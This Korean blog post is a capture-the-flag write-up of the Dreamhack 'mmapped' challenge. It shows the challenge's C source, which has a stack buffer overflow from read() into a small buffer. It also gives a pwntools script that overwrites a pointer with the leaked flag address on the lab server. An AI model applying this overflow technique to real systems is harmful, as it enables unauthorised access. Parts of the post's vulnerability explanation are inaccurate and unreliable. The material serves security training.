[드림핵] mmapped

SONG's 보안·2024년 3월 19일

드림핵

목록 보기
14/33

1. 코드 풀이

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

#define FLAG_SIZE 0x45

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

int main(int argc, char *argv[]) {
    int len;
    char * fake_flag_addr;
    char buf[0x20];
    int fd;
    char * real_flag_addr;

    initialize();

    fd = open("./flag", O_RDONLY);
    len = FLAG_SIZE;
    fake_flag_addr = "DH{****************************************************************}";

    printf("fake flag address: %p\n", fake_flag_addr);
    printf("buf address: %p\n", buf);

    real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
    printf("real flag address (mmapped address): %p\n", real_flag_addr);

    printf("%s", "input: ");
    read(0, buf, 60);

    mprotect(real_flag_addr, len, PROT_NONE);

    write(1, fake_flag_addr, FLAG_SIZE);
    printf("\nbuf value: ");
    puts(buf);

    munmap(real_flag_addr, FLAG_SIZE);
    close(fd);

    return 0;
}

가짜 플래그와 실제 플래그의 크기가 같은 것으로 보이지만, 가짜 플래그의 크기가 고정되어 있어 실제 플래그의 크기와 다를 수 있다. 이는 가짜 플래그가 실제 플래그와 동일한 크기의 메모리 영역에 쓰여 있어 가짜 플래그를 출력할 때 메모리 오버플로우가 발생할 수 있다.


2. 문제 풀이

껐다 키니까 되는 기적.. ^^
from pwn import *

context.arch = 'amd64'
p = remote('host3.dreamhack.games', 13856)

p.recvuntil('real flag address (mmapped address):')

flag_addr = int(p.recvline().strip(), 16)
code = b'a' * 0x30
code += p64(flag_addr)

p.sendline(code)
print(p.recvline())

context.arch = 'amd64' 는 현재 아키텍처를 64비트로 설정한다.
p.recvuntil('real flag address (mmapped address):')는 서버가 문자열을 받을 때까지 데이터를 수신하면서 flag 함수의 실제 주소를 보내는 것이다.
code += p64(flag_addr) 는 flag 함수의 주소를 64비트 바이너리로 변환하여 페이로드에 추가한다.
p.sendline(code)는 생성된 페이로드를 서버로 전송하고, print(p.recvline())는 서버로부터 한 줄의 데이터를 수신하여 출력한다.

출처 https://velog.io/@buaii/시스템-해킹-입문하기
profile
前) SWLUG 27기

0개의 댓글